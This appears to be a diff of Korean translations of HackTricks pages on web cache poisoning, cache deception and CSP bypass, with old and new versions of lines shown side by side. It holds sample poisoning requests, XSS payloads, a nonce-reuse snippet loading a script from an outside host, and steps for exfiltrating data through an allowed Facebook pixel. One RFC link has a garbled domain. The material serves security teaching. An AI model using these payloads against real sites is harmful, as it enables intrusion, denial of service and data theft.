### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용하기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme``http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션을 위한 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다.
```markup
@ -116,7 +116,7 @@ X-Forwarded-Scheme: http
```
### 제한된 `Vary` 헤더로 악용하기
**`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
**`X-Host`** 헤더가 **JS 리소스를 로드하 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
@ -164,12 +164,67 @@ content-type 헤더에 잘못된 값을 보내면 405 캐시 응답이 발생했
### GitLab + GCP CP-DoS
GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드 지원할 수 있었습니다.
GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드 지원할 수 있었습니다.
### Rack Middleware (Ruby on Rails)
Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 가져와 요청의 스킴으로 설정하는 것입니다. 헤더 `x-forwarded-scheme: http`가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다.
Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. 헤더 `x-forwarded-scheme: http`가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 되어 보안 위험을 초래할 수 있습니다.
### 403 and Storage Buckets
Cloud
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 다른 프록시 서비스에서도 여전히 존재할 수 있습니다.
### Injecting Keyed Parameters
캐시는 종종 캐시 키에 특정 GET 매개변수를 포함합니다. 예를 들어, Fastly의 Varnish는 요청에서 `size` 매개변수를 캐시했습니다. 그러나 잘못된 값으로 URL 인코딩된 매개변수(예: `siz%65`)가 함께 전송되면 캐시 키는 올바른 `size` 매개변수를 사용하여 구성됩니다. 그러나 백엔드는 URL 인코딩된 매개변수의 값을 처리합니다. 두 번째 `size` 매개변수를 URL 인코딩하면 캐시에서 생략되지만 백엔드에서 사용됩니다. 이 매개변수에 0 값을 할당하면 캐시 가능한 400 Bad Request 오류가 발생합니다.
### User Agent Rules
일부 개발자는 서버 부하를 관리하기 위해 FFUF 또는 Nuclei와 같은 고트래픽 도구의 사용자 에이전트와 일치하는 요청을 차단합니다. 아이러니하게도, 이 접근 방식은 캐시 오염 및 DoS와 같은 취약점을 도입할 수 있습니다.
### Illegal Header Fields
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. 불법 문자가 포함된 헤더를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다.
### Finding new headers
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 만드는 것입니다.**
우선, **extensions**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의하세요. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **extension**을 인식하여 응답을 저장할 가능성이 높습니다. 그러나 **application**이 _www.example.com/profile.php_에 저장된 **민감한** 사용자 콘텐츠로 **replaying**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **훔칠** 수 있습니다.
테스트할 다른 사항들:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _덜 알려진 확장자 사용하기:_.avif
또한, 이 글에서 매우 명확한 예를 찾을 수 있습니다: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
예제에서는 _http://www.example.com/home.php/non-existent.css_와 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_ (**사용자의 민감한 정보 포함**)의 내용이 반환되고 캐시 서버가 결과를 저장한다고 설명합니다.\
그런 다음 **attacker**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **기밀 정보**를 관찰할 수 있습니다.
**cache proxy**는 **extension**에 따라 파일을 **캐시**하도록 **구성**되어야 하며, 콘텐츠 유형에 따라 캐시되어서는 안 됩니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/css` MIME 유형 대신 `text/html` 콘텐츠 유형을 가집니다(이는 _.css_ 파일에 대한 예상입니다).
여기에서 [HTTP Request Smuggling을 악용하여 Cache Deceptions 공격을 수행하는 방법](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보세요.
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): URL 목록에서 웹 캐시 오염 취약점을 찾고 여러 주입 기술을 테스트하는 Golang 스캐너입니다.
## References
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
- [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -7,7 +7,7 @@
- **HTTP Header Oversize (HHO)**
웹 서버가 지원하는 것보다 크지만 캐시 서버가 지원하는 것보다 작은 헤더 크기로 요청을 보냅니다. 웹 서버는 캐시될 수 있는 400 응답으로 응답할 것입니다:
웹 서버가 지원하는 것보다 크지만 캐시 서버가 지원하는 것보다 작은 헤더 크기로 요청을 보냅니다. 웹 서버는 400 응답으로 응답할 것이며, 이는 캐시될 수 있습니다:
```
GET / HTTP/1.1
Host: redacted.com
@ -21,9 +21,9 @@ GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```
잘못 구성된 헤더는 단순히 `\:`로 헤더될 수 있습니다.
잘못 구성된 헤더는 단순히 `\:`로 헤더로 사용될 수 있습니다.
예상치 못한 값이 전송되면, 예를 들어 예상치 못한 Content-Type: 같은 경우에도 작동할 수 있습니다.
예상치 못한 값이 전송되면, 예를 들어 예상치 못한 Content-Type: 같은 경우에도 작동할 수 있습니다.
```
GET /anas/repos HTTP/2
Host: redacted.com
@ -31,7 +31,7 @@ Content-Type: HelloWorld
```
- **키가 없는 헤더**
일부 웹사이트는 요청에 _X-Amz-Website-Location-Redirect: someThing_ 헤더와 같은 특정 헤더가 포함되어 있으면 오류 상태 코드를 반환합니다.
일부 웹사이트는 요청에 _X-Amz-Website-Location-Redirect: someThing_ 헤더와 같은 특정 헤더가 **포함되어 있으면** 오류 상태 코드를 반환합니다.
```
GET /app.js HTTP/2
Host: redacted.com
@ -52,7 +52,7 @@ HTTP-Method-Override: POST
```
- **키가 없는 포트**
Host 헤더의 포트가 응답에 반영되고 캐시 키에 포함되지 않는 경우, 사용되지 않는 포트로 리디렉션할 수 있습니다:
호스트 헤더의 포트가 응답에 반영되고 캐시 키에 포함되지 않는 경우, 사용되지 않는 포트로 리디렉션할 수 있습니다:
```
GET /index.html HTTP/1.1
Host: redacted.com:1
@ -80,7 +80,7 @@ CF-Cache-Status: miss
```
- **호스트 헤더 대소문자 정규화**
호스트 헤더는 대소문자를 구분하지 않아야 하지만 일부 웹사이트는 소문자로 되어 있기를 기대하며, 그렇지 않을 경우 오류를 반환합니다:
호스트 헤더는 대소문자를 구분하지 않아야 하지만 일부 웹사이트는 소문자로 되어 있기를 기대하며 그렇지 않을 경우 오류를 반환합니다:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
@ -105,7 +105,7 @@ Not Found
```
- **Fat Get**
일부 캐시 서버, 예를 들어 Cloudflare 또는 웹 서버는 본문이 있는 GET 요청을 중하므로, 이를 악용하여 잘못된 응답을 캐시할 수 있습니다:
일부 캐시 서버, 예를 들어 Cloudflare 또는 웹 서버는 본문이 있는 GET 요청을 중하므로, 이를 악용하여 잘못된 응답을 캐시할 수 있습니다:
```
GET /index.html HTTP/2
Host: redacted.com
@ -117,7 +117,7 @@ xyz
HTTP/2 403 Forbidden
Cache: hit
```
## 참고 문헌
## 참고문헌
- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)

View File

@ -2,10 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
이 문서는 캐시 프록시와 웹 서버 간의 불일치를 악용하여 캐시 오염 공격을 수행하기 위해 제안된 기술의 요약입니다 **캐시 서버가 정적 리소스가 로드되고 있다고 생각하게 만드는 것**입니다.
이 문서는 캐시 프록시와 웹 서버 간의 불일치를 악용하여 캐시 오염 공격을 수행하기 위해 제안된 기술의 요약입니다 **캐시 오염 공격을 수행하기 위해.**
> [!NOTE]
> 이 공격의 목표는 **캐시 서버가 정적 리소스가 로드되고 있다고 생각하게 하여 캐시하도록 만드는 것**입니다. 캐시 서버는 경로의 일부를 캐시 키로 저장하지만 웹 서버는 다른 경로를 해결하여 응답합니다. 웹 서버는 사용자의 민감한 정보, XSS와 같은 악성 페이로드 또는 공격자의 웹사이트에서 JS 파일을 로드하도록 리디렉션하는 동적 페이지를 로드하는 실제 경로를 해결합니다.
> 이 공격의 목표는 **캐시 서버가 정적 리소스가 로드되고 있다고 생각하게 만드는 것**입니다. 따라서 캐시 서버는 경로의 일부를 캐시 키로 저장하지만 웹 서버는 다른 경로를 해결하여 응답합니다. 웹 서버는 사용자의 민감한 정보, XSS와 같은 악성 페이로드 또는 공격자의 웹사이트에서 JS 파일을 로드하기 위해 리디렉션하는 동적 페이지를 로드하는 실제 경로를 해결합니다.
## 구분자
@ -19,12 +19,12 @@
다음 프로세스를 따라 다른 특정 구분자를 찾을 수 있습니다:
- **1단계**: 캐시할 수 없는 요청을 식별하고 이를 사용하여 잠재적인 구분자가 있는 URL이 어떻게 처리되는지 모니터링합니다.
- **2단계**: 경로에 임의의 접미사를 추가하고 서버의 응답을 비교하여 문자가 구분자로 작동하는지 확인합니다.
- **3단계**: 임의의 접미사 앞에 잠재적인 구분자를 도입하여 응답이 변경되는지 확인하여 구분자 사용을 나타냅니다.
- **2단계**: 경로에 무작위 접미사를 추가하고 서버의 응답을 비교하여 문자가 구분자로 작동하는지 확인합니다.
- **3단계**: 무작위 접미사 앞에 잠재적인 구분자를 도입하여 응답이 변경되는지 확인하여 구분자 사용을 나타냅니다.
## 정규화 및 인코딩
- **목적**: 캐시 및 원본 서버의 URL 파서는 엔드포인트 매핑 및 캐시 키를 추출하기 위해 URL을 정규화합니다.
- **목적**: 캐시 및 원본 서버의 URL 파서는 엔드포인트 매핑 및 캐시 키를 위해 경로를 추출하기 위해 URL을 정규화합니다.
- **프로세스**: 경로 구분자를 식별하고 문자를 디코딩하고 점 세그먼트를 제거하여 경로를 추출하고 정규화합니다.
### **인코딩**
@ -36,17 +36,17 @@ Nginx, Node 및 CloudFront와 같은 다양한 HTTP 서버 및 프록시는 구
### 점 세그먼트
점이 포함된 경로 정규화는 캐시 오염 공격에 매우 흥미롭습니다. 예를 들어, `/static/../home/index` 또는 `/aaa..\home/index`와 같은 경우, 일부 캐시 서버는 이러한 경로를 키로 사용하여 캐시할 수 있지만 다른 서버는 경로를 해결하고 `/home/index`를 캐시 키로 사용할 수 있습니다.\
이전과 마찬가지로 이러한 종류의 요청을 보내고 `/home/index`에 대한 응답이 요청된 경로에서 수집된 응답인지 확인하는 것이 도움이 됩니다.
이전과 마찬가지로 이러한 종류의 요청을 보내고 `/home/index`에 대한 응답이 이러한 경로가 요청될 때 전송된 응답인지 확인하는 것이 도움이 됩니다.
## 정적 리소스
여러 캐시 서버는 응답이 정적이라고 식별되면 항상 캐시합니다. 이는 다음과 같은 이유 때문일 수 있습니다:
여러 캐시 서버는 응답이 정적이라고 식별되면 항상 응답을 캐시합니다. 이는 다음과 같은 이유 때문일 수 있습니다:
- **확장자**: Cloudflare는 다음 확장자를 가진 파일을 항상 캐시합니다: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- 구분자와 정적 확장을 사용하여 동적 응답을 캐시하도록 강제할 수 있습니다. 예를 들어 `/home$image.png`에 대한 요청은 `/home$image.png`를 캐시하고 원본 서버는 `/home`으로 응답합니다.
- **잘 알려진 정적 디렉토리**: 다음 디렉토리는 정적 파일을 포함하고 있으므로 그 응답은 캐시되어야 합니다: /static, /assets, /wp-content, /media, /templates, /public, /shared
- 구분자, 정적 디렉토리 및 점을 사용하여 동적 응답을 캐시하도록 강제할 수 있습니다. 예를 들어 `/home/..%2fstatic/something``/static/something`을 캐시하고 응답은 `/home`이 됩니다.
- **정적 디렉토리 + 점**: `/static/..%2Fhome` 또는 `/static/..%5Chome`에 대한 요청은 그대로 캐시될 수 있지만 응답은 `/home`일 수 있습니다.
- **정적 파일:** `/robots.txt`, `/favicon.ico`, `/index.html`과 같은 특정 파일은 항상 캐시됩니다. 이는 `/home/..%2Frobots.txt`와 같이 악용될 수 있으며, 캐시는 `/robots.txt`를 저장하고 원본 서버는 `/home`에 응답할 수 있습니다.
- **정적 파일:** `/robots.txt`, `/favicon.ico`, `/index.html`과 같은 특정 파일은 항상 캐시됩니다. 이는 `/home/..%2Frobots.txt`와 같이 악용될 수 있으며, 캐시는 `/robots.txt`를 저장하고 원본 서버는 `/home`에 응답니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### 헤더
### Headers
CSP는 다음 헤더를 사용하여 시행되거나 모니터링될 수 있습니다:
- `Content-Security-Policy`: CSP를 시행합니다; 브라우저는 위반 사항을 차단합니다.
- `Content-Security-Policy-Report-Only`: 모니터링에 사용됩니다; 위반 사항을 보고하지만 차단하지 않습니다. 사전 생산 환경에서 테스트하는 데 이상적입니다.
- `Content-Security-Policy-Report-Only`: 모니터링에 사용됩니다; 위반 사항을 차단하지 않고 보고합니다. 사전 생산 환경에서 테스트하는 데 이상적입니다.
### 리소스 정의
### Defining Resources
CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 정책의 예는:
CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 정책의 예는 다음과 같습니다:
```bash
default-src 'none';
img-src 'self';
@ -39,38 +39,38 @@ object-src 'none';
```
### 지시어
- **script-src**: JavaScript에 대한 특정 출처를 허용하며, URL, 인라인 스크립트 및 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거된 스크립트를 포함합니다.
- **script-src**: JavaScript에 대한 특정 소스를 허용하며, URL, 인라인 스크립트 및 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거된 스크립트를 포함합니다.
- **default-src**: 특정 가져오기 지시어가 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다.
- **child-src**: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다.
- **connect-src**: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다.
- **frame-src**: 프레임에 대한 URL을 제한합니다.
- **frame-ancestors**: 현재 페이지를 포함할 수 있는 출처를 지정하며, `<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>`와 같은 요소에 적용됩니다.
- **img-src**: 이미지에 대한 허용된 출처를 정의합니다.
- **font-src**: `@font-face`를 사용하여 로드된 글꼴에 대한 유효한 출처를 지정합니다.
- **manifest-src**: 애플리케이션 매니페스트 파일의 허용된 출처를 정의합니다.
- **media-src**: 미디어 객체를 로드하기 위한 허용된 출처를 정의합니다.
- **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 대한 허용된 출처를 정의합니다.
- **frame-ancestors**: 현재 페이지를 포함할 수 있는 소스를 지정하며, `<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>`와 같은 요소에 적용됩니다.
- **img-src**: 이미지에 대한 허용된 소스를 정의합니다.
- **font-src**: `@font-face`를 사용하여 로드된 글꼴에 대한 유효한 소스를 지정합니다.
- **manifest-src**: 애플리케이션 매니페스트 파일의 허용된 소스를 정의합니다.
- **media-src**: 미디어 객체를 로드하기 위한 허용된 소스를 정의합니다.
- **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 대한 허용된 소스를 정의합니다.
- **base-uri**: `<base>` 요소를 사용하여 로드할 수 있는 허용된 URL을 지정합니다.
- **form-action**: 폼 제출을 위한 유효한 엔드포인트를 나열합니다.
- **plugin-types**: 페이지에서 호출할 수 있는 mime 유형을 제한합니다.
- **plugin-types**: 페이지 호출할 수 있는 mime 유형을 제한합니다.
- **upgrade-insecure-requests**: 브라우저에 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
- **sandbox**: `<iframe>`의 sandbox 속성과 유사한 제한을 적용합니다.
- **report-to**: 정책이 위반될 경우 보고서가 전송될 그룹을 지정합니다.
- **worker-src**: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 출처를 지정합니다.
- **prefetch-src**: 가져오거나 미리 가져올 리소스에 대한 유효한 출처를 지정합니다.
- **report-to**: 정책이 위반될 경우 보고서를 보낼 그룹을 지정합니다.
- **worker-src**: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 소스를 지정합니다.
- **prefetch-src**: 가져오거나 미리 가져올 리소스에 대한 유효한 소스를 지정합니다.
- **navigate-to**: 문서가 어떤 수단으로든 탐색할 수 있는 URL을 제한합니다 (a, form, window.location, window.open 등).
### 출처
### 소스
- `*`: `data:`, `blob:`, `filesystem:` 스킴을 제외한 모든 URL을 허용합니다.
- `'self'`: 동일한 도메인에서 로드를 허용합니다.
- `'data'`: 데이터 스킴을 통해 리소스를 로드할 수 있도록 허용합니다 (예: Base64 인코딩된 이미지).
- `'none'`: 어떤 출처에서도 로드를 차단합니다.
- `'none'`: 어떤 소스에서도 로드를 차단합니다.
- `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.
- `'unsafe-hashes'`: 특정 인라인 이벤트 핸들러를 활성화합니다.
- `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 인라인 리소스의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.
- `'nonce'`: 암호화된 nonce(한 번 사용되는 숫자)를 사용하는 특정 인라인 스크립트에 대한 화이트리스트입니다.
- JS 실행이 제한된 경우, `doc.defaultView.top.document.querySelector("[nonce]")`를 사용하여 페이지 내에서 사용된 nonce를 가져오고 이를 재사용하여 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용되는 경우, 허용된 출처는 새로운 출처를 로드할 수 있으므로 필요하지 않습니다), 예를 들어:
- JS 제한 실행이 있는 경우, `doc.defaultView.top.document.querySelector("[nonce]")`를 사용하여 페이지 내에서 사용된 nonce를 가져오고 이를 재사용하여 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용되는 경우, 허용된 소스는 새로운 소스를 로드할 수 있으므로 필요하지 않습니다), 예를 들어:
<details>
@ -161,7 +161,7 @@ JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다:
```
그러나 서버가 **업로드된 파일을 검증하고** 특정 유형의 파일만 **업로드하도록 허용할 가능성이 높습니다**.
게다가, 서버에서 허용하는 확장자를 가진 파일에 **JS 코드를 포함하여** 업로드할 수 있다고 하더라도(예: _script.png_) 이는 충분하지 않습니다. 왜냐하면 아파치 서버와 같은 일부 서버는 **확장자에 따라 파일의 MIME 유형을 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 **실행하는 것을 거부하기 때문입니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 배운 바에 따르면 **Apache는** _**.wave**_ 확장자를 알지 못하므로 **audio/\***와 같은 **MIME 유형으로 제공하지 않습니다**.
게다가, 서버에서 허용하는 확장자를 가진 파일에 **JS 코드를 포함하여** 업로드할 수 있다고 하더라도(예: _script.png_) 이는 충분하지 않습니다. 왜냐하면 Apache 서버와 같은 일부 서버는 **확장자에 따라 파일의 MIME 유형을 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 실행하는 것을 **거부하기 때문입니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **Apache는** _**.wave**_ 확장자를 알지 못하므로 **audio/\***와 같은 **MIME 유형으로 제공하지 않습니다**.
여기서 XSS와 파일 업로드를 찾고, **잘못 해석된 확장자**를 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 ([여기에서 일부 폴리글롯 예제](https://github.com/Polydet/polyglot-database)).
@ -197,7 +197,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angular을 사용한 페이로드 + `window` 객체를 반환하는 함수가 있는 라이브러리 ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Angular `window` 객체를 반환하는 함수가 있는 라이브러리를 사용하는 페이로드 ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
> 이 게시물은 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 **라이브러리**를 **로드**하고, 각 라이브러리에서 추가된 모든 함수를 실행하며, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있음을 보여줍니다.
@ -260,15 +260,15 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### www.google.com을 이용한 오픈 리디렉션 악용
#### www.google.com을 이용한 오픈 리다이렉트 악용
다음 URL은 example.com으로 리디렉션됩니다 (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
다음 URL은 example.com으로 리다이렉트됩니다 (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
\*.google.com/script.google.com 악용하기
script.google.com 내의 페이지에서 정보를 수신하기 위해 Google Apps Script를 악용할 수 있습니다. 이는 [이 보고서에서와 같이](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) 수행됩니다.
script.google.com 내의 페이지에서 정보를 수신하기 위해 Google Apps Script를 악용하는 것이 가능합니다. 이는 [이 보고서에서와 같이](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) 수행됩니다.
### 제3자 엔드포인트 + JSONP
```http
@ -286,7 +286,7 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 사용 준비가 완료된 JSONP 엔드포인트를 포함합니다.**
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함된 경우** 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰할 수 있습니다.
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있으면** 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰니다.
### 제3자 남용
@ -303,9 +303,9 @@ https://www.youtube.com/oembed?callback=alert;
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
대상 CSP에서 허용된 도메인을 발견하면, 제3자 서비스에 등록하여 해당 서비스로 데이터를 유출하거나 코드를 실행할 수 있는 가능성이 있습니다.
대상 CSP에서 허용된 도메인을 찾으면, 제3자 서비스에 등록하여 해당 서비스로 데이터를 유출하거나 코드를 실행할 수 있는 가능성이 있습니다.
예를 들어, 다음 CSP를 발견하면:
예를 들어, 다음과 같은 CSP를 찾으면:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
@ -313,16 +313,16 @@ Content-Security-Policy: default-src 'self www.facebook.com;
```
Content-Security-Policy: connect-src www.facebook.com;
```
데이터를 유출할 수 있어야 하며, 이는 항상 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)를 사용하여 수행해온 방식과 유사합니다. 이 경우, 다음 일반 단계를 따릅니다:
데이터를 유출할 수 있어야 하며, 이는 항상 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)를 사용하여 수행해 온 방식과 유사합니다. 이 경우, 다음 일반 단계를 따릅니다:
1. 여기에서 Facebook Developer 계정을 만듭니다.
2. 새 "Facebook Login" 앱을 만들고 "Website"를 선택합니다.
3. "Settings -> Basic"으로 이동하여 "App ID"를 가져옵니다.
3. "Settings -> Basic"으로 가서 "App ID"를 가져옵니다.
4. 데이터 유출을 원하는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 가젯 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다.
5. 앱의 "Event Manager"로 이동하여 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
